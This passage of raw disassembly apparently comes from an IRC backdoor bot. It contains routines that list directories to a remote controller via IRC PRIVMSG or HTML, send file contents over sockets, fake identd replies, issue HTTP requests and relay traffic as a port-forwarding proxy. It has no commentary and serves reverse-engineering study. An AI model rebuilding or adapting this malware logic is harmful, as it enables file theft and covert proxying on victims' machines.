call dword_4CE358 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_1 ; "%s%s/"
push edi
push eax
call sub_41BFF0
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B650
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_4109EC
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4109F1
; ---------------------------------------------------------------------------
loc_4109EC: ; CODE XREF: sub_41061F+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4109F1: ; CODE XREF: sub_41061F+3CBj
push edi
push eax
call sub_41BFF0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_410BB3
; ---------------------------------------------------------------------------
loc_410A30: ; CODE XREF: sub_41061F+32Aj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41BFF0
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_410A5D: ; CODE XREF: sub_41061F+47Bj
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BFF0
add esp, 24h
jmp loc_410BC2
; ---------------------------------------------------------------------------
loc_410A72: ; CODE XREF: sub_41061F+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_410A9C
push ebx
push [ebp+var_368]
call sub_416EC1
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_410A5D
; ---------------------------------------------------------------------------
loc_410A9C: ; CODE XREF: sub_41061F+459j
cmp [ebp+arg_C], ebx
jz loc_410B9C
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41BFF0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_42B478
push edi
push eax
call sub_41BFF0
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B650
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_410B42
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410B47
; ---------------------------------------------------------------------------
loc_410B42: ; CODE XREF: sub_41061F+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410B47: ; CODE XREF: sub_41061F+521j
push edi
push eax
call sub_41BFF0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41BFF0
add esp, 1Ch
jmp short loc_410BC2
; ---------------------------------------------------------------------------
loc_410B9C: ; CODE XREF: sub_41061F+480j
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_410BB3: ; CODE XREF: sub_41061F+40Cj
lea eax, [ebp+var_248]
push eax
call sub_41BFF0
add esp, 18h
loc_410BC2: ; CODE XREF: sub_41061F+317j
; sub_41061F+44Ej ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
cmp [ebp+arg_8], ebx
jz short loc_410BF1
push 7D0h
call dword_428080 ; Sleep
loc_410BF1: ; CODE XREF: sub_41061F+225j
; sub_41061F+240j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_428124 ; FindNextFileA
test eax, eax
jnz loc_41083E
loc_410C09: ; CODE XREF: sub_41061F+214j
push [ebp+arg_0]
call dword_42811C ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_410C4C
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416EC1
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416EC1
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41BEF6
add esp, 14h
jmp short loc_410C7A
; ---------------------------------------------------------------------------
loc_410C4C: ; CODE XREF: sub_41061F+5F6j
cmp [ebp+arg_C], ebx
lea eax, [ebp+var_248]
jz short loc_410C66
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41BEF6
pop ecx
pop ecx
jmp short loc_410C7A
; ---------------------------------------------------------------------------
loc_410C66: ; CODE XREF: sub_41061F+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41BEF6
add esp, 10h
loc_410C7A: ; CODE XREF: sub_41061F+62Bj
; sub_41061F+645j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_41061F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CA0 proc near ; CODE XREF: sub_4101F4+135p
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_4280F8 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410D58
push esi
push ebx
call dword_428118 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410D51
loc_410CE5: ; CODE XREF: sub_410CA0+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41BC00
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410D02
mov edi, [ebp+arg_4]
loc_410D02: ; CODE XREF: sub_410CA0+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_42812C ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_4280EC ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410D4C
call dword_4CE29C ; WSAGetLastError
cmp eax, 2733h
jnz short loc_410D51
xor eax, eax
loc_410D4C: ; CODE XREF: sub_410CA0+9Bj
sub [ebp+arg_4], eax
jnz short loc_410CE5
loc_410D51: ; CODE XREF: sub_410CA0+43j
; sub_410CA0+A8j
push ebx
call dword_428070 ; CloseHandle
loc_410D58: ; CODE XREF: sub_410CA0+30j
pop edi
pop esi
pop ebx
leave
retn
sub_410CA0 endp
; =============== S U B R O U T I N E =======================================
sub_410D5D proc near ; CODE XREF: sub_410370+17Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B650
test eax, eax
pop ecx
jbe short loc_410D86
loc_410D70: ; CODE XREF: sub_410D5D+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410D7A
mov byte ptr [esi+edi], 2Fh
loc_410D7A: ; CODE XREF: sub_410D5D+17j
push edi
inc esi
call sub_41B650
cmp esi, eax
pop ecx
jb short loc_410D70
loc_410D86: ; CODE XREF: sub_410D5D+11j
mov eax, edi
pop edi
pop esi
retn
sub_410D5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410D8B proc near ; CODE XREF: sub_401AA1+51A8p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CE278 ; WSAStartup
push 6
push 1
push 2
call dword_4CE388 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CE308 ; ntohs
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A7C5
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CE2B0 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410E68
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410E04
mov eax, offset byte_4404C4
loc_410E04: ; CODE XREF: sub_410D8B+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41BFF0
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CE358 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call near ptr sub_41C9B0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CE320 ; recv
pop esi
loc_410E68: ; CODE XREF: sub_410D8B+6Bj
push ebx
call dword_4CE3A0 ; closesocket
call dword_4CE260 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41BEF6
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410EA8
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_410EA8: ; CODE XREF: sub_410D8B+102j
pop edi
pop ebx
leave
retn
sub_410D8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_410EAC proc near ; DATA XREF: sub_40121E+430o
; sub_401AA1+436Bo
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_1C]
push esi
push eax
mov [ebp+var_8], esi
call sub_41BC00
add esp, 0Ch
mov [ebp+var_1C], 2
push 71h
call dword_4CE308 ; ntohs
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_4CE388 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_41100D
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_441254[eax], ebx
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_4CE334 ; bind
cmp eax, 0FFFFFFFFh
jz loc_41100D
push 5
push ebx
call dword_4CE330 ; listen
cmp eax, 0FFFFFFFFh
jz loc_41100D
mov [ebp+var_C], edi
mov edi, 200h
loc_410F37: ; CODE XREF: sub_410EAC+EAj
; sub_410EAC+14Aj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4CE39C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_411008
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_238]
push offset unk_437730
push eax
call sub_41BEF6
lea eax, [ebp+var_238]
push eax
call sub_415F45
add esp, 14h
lea eax, [ebp+var_238]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CE320 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_410F37
lea eax, [ebp+var_238]
push esi
push eax
call sub_418615
push 0Ch
lea eax, [ebp+var_38]
push esi
push eax
call sub_41BC00
push esi
push esi
lea eax, [ebp+var_38]
push 2
push eax
call sub_40AD20
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+var_238]
push edi
push eax
call sub_41BFF0
add esp, 34h
lea eax, [ebp+var_238]
push esi
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_4]
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jz loc_410F37
mov [ebp+var_8], 1
jmp loc_410F37
; ---------------------------------------------------------------------------
loc_411008: ; CODE XREF: sub_410EAC+A0j
cmp [ebp+var_8], esi
jnz short loc_411034
loc_41100D: ; CODE XREF: sub_410EAC+47j
; sub_410EAC+6Bj ...
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_238]
push offset unk_4376D0
push eax
call sub_41BEF6
lea eax, [ebp+var_238]
push eax
call sub_415F45
add esp, 10h
loc_411034: ; CODE XREF: sub_410EAC+15Fj
push ebx
call dword_4CE3A0 ; closesocket
push [ebp+var_4]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_410EAC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_411057 proc near ; DATA XREF: sub_401AA1+6022o
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_4CE308 ; ntohs
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4CE388 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_4111C2
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_441254[ecx], eax
call dword_4CE218 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_4CE334 ; bind
test eax, eax
jnz loc_4111C2
push 0Ah
push [ebp+arg_0]
call dword_4CE330 ; listen
test eax, eax
jnz loc_4111C2
loc_411107: ; CODE XREF: sub_411057+C6j
; sub_411057+166j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4CE39C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_411107
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_4377B8
push eax
call sub_41BEF6
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_40B254
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_44124C[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_4111E7
push esi
push esi
call dword_428084 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_44125C[ecx], eax
jnz short loc_4111B8
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_437778
call sub_415FB9
pop ecx
pop ecx
jmp short loc_4111C5
; ---------------------------------------------------------------------------
loc_4111B0: ; CODE XREF: sub_411057+164j
push 32h
call dword_428080 ; Sleep
loc_4111B8: ; CODE XREF: sub_411057+142j
cmp [ebp+var_30], esi
jz short loc_4111B0
jmp loc_411107
; ---------------------------------------------------------------------------
loc_4111C2: ; CODE XREF: sub_411057+63j
; sub_411057+97j ...
mov edi, [ebp+arg_0]
loc_4111C5: ; CODE XREF: sub_411057+157j
push edi
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call dword_4CE3A0 ; closesocket
push [ebp+var_40]
call sub_40B56A
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_411057 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4111E7 proc near ; DATA XREF: sub_411057+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C190
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+var_4], ebx
call dword_4CE388 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_41134A
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_4CE308 ; ntohs
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4CE348 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_411277
lea eax, [ebp+var_13C]
push eax
call dword_4CE38C ; gethostbyname
jmp short loc_411285
; ---------------------------------------------------------------------------
loc_411277: ; CODE XREF: sub_4111E7+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CE2C0 ; gethostbyaddr
loc_411285: ; CODE XREF: sub_4111E7+8Ej
cmp eax, edi
jz loc_41134A
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_4CE2B0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_41134A
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_437840
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_40B254
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_441254[ebx]
mov dword_44124C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_441258[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_4113CF
push edi
push edi
call dword_428084 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_44125C[ecx], eax
jnz short loc_411383
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_437800
call sub_415FB9
pop ecx
pop ecx
loc_41134A: ; CODE XREF: sub_4111E7+44j
; sub_4111E7+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_441254[eax]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call dword_4CE3A0 ; closesocket
push [ebp+var_4]
call sub_40B56A
pop ecx
push edi
call dword_4280D4 ; ExitThread
pop edi
pop esi
pop ebx
loc_41137B: ; CODE XREF: sub_4111E7+19Fj
push 32h
call dword_428080 ; Sleep
loc_411383: ; CODE XREF: sub_4111E7+14Ej
cmp [ebp+var_20], edi
jz short loc_41137B
mov ebx, 1000h
loc_41138D: ; CODE XREF: sub_4111E7+1E1j
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CE320 ; recv
cmp eax, edi
jle short loc_41134A
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41138D
jmp loc_41134A
sub_4111E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113CF proc near ; DATA XREF: sub_4111E7+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C190
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_411406: ; CODE XREF: sub_4113CF+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_441258[esi]
call dword_4CE320 ; recv
test eax, eax
jle short loc_41144D
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_441254[esi]
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_411406
loc_41144D: ; CODE XREF: sub_4113CF+61j
push dword_441258[esi]
call dword_4CE3A0 ; closesocket
push [ebp+var_14]
call sub_40B56A
pop ecx
push 0
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_4113CF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41146C proc near ; DATA XREF: sub_4116E1+1BEo
var_3D4 = byte ptr -3D4h
var_350 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_3D4]
inc ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_441254[eax]
xor edi, edi
mov [ebp+var_C], 1Eh
mov [ebp+var_8], edi
mov eax, [esi]
mov [ebp+var_1F4], ebx
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_4CE2F0 ; select
test eax, eax
jnz short loc_4114F0
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push edi
call dword_4280D4 ; ExitThread
loc_4114F0: ; CODE XREF: sub_41146C+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_4CE320 ; recv
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call sub_411671
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_411671
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_411671
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_4CE25C ; getpeername
test eax, eax
jz short loc_411569
call dword_4CE29C ; WSAGetLastError
push eax
push offset unk_437918
call sub_415FB9
push [ebp+arg_0]
call sub_40B56A
add esp, 0Ch
push edi
call dword_4280D4 ; ExitThread
loc_411569: ; CODE XREF: sub_41146C+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_4CE2C0 ; gethostbyaddr
cmp eax, edi
jnz short loc_411593
push [ebp+var_18]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_B0]
push eax
call sub_41BEF6
jmp short loc_4115A1
; ---------------------------------------------------------------------------
loc_411593: ; CODE XREF: sub_41146C+10Dj
push dword ptr [eax]
lea eax, [ebp+var_B0]
push eax
call sub_41C520
loc_4115A1: ; CODE XREF: sub_41146C+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_4404C4
push dword ptr [esi]
call dword_4CE358 ; send
cmp dword_4D1044, edi
jnz short loc_411603
push [ebp+var_18]
lea eax, [ebp+var_350]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_4116B2
add esp, 10h
test eax, eax
jnz short loc_411603
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CE358 ; send
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push edi
call dword_4280D4 ; ExitThread
loc_411603: ; CODE XREF: sub_41146C+14Cj
; sub_41146C+16Dj
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_4378DC
call sub_415FB9
push [ebp+arg_0]
call sub_411968
add esp, 10h
test eax, eax
jnz short loc_41164A
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_4378B0
call sub_415FB9
push [ebp+arg_0]
call sub_40B56A
add esp, 0Ch
push ebx
call dword_4280D4 ; ExitThread
loc_41164A: ; CODE XREF: sub_41146C+1B9j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_437884
call sub_415FB9
push [ebp+arg_0]
call sub_40B56A
add esp, 10h
push edi
call dword_4280D4 ; ExitThread
sub_41146C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411671 proc near ; CODE XREF: sub_41146C+9Ap
; sub_41146C+A7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
loc_411678: ; CODE XREF: sub_411671+2Aj
push 0
lea eax, [ebp+arg_4+3]
push 1
push eax
push [ebp+arg_0]
call dword_4CE320 ; recv
cmp eax, 1
jnz short loc_4116AE
mov al, byte ptr [ebp+arg_4+3]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_4116A3
test al, al
jnz short loc_411678
xor eax, eax
inc eax
loc_4116A0: ; CODE XREF: sub_411671+3Fj
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4116A3: ; CODE XREF: sub_411671+26j
push offset unk_437944
call sub_415FB9
pop ecx
loc_4116AE: ; CODE XREF: sub_411671+1Bj
xor eax, eax
jmp short loc_4116A0
sub_411671 endp
; =============== S U B R O U T I N E =======================================
sub_4116B2 proc near ; CODE XREF: sub_41146C+163p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_4116DD
push [esp+arg_4]
push [esp+4+arg_0]
push offset unk_437970
call sub_415FB9
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4116DD: ; CODE XREF: sub_4116B2+11j
xor eax, eax
inc eax
retn
sub_4116B2 endp
; =============== S U B R O U T I N E =======================================
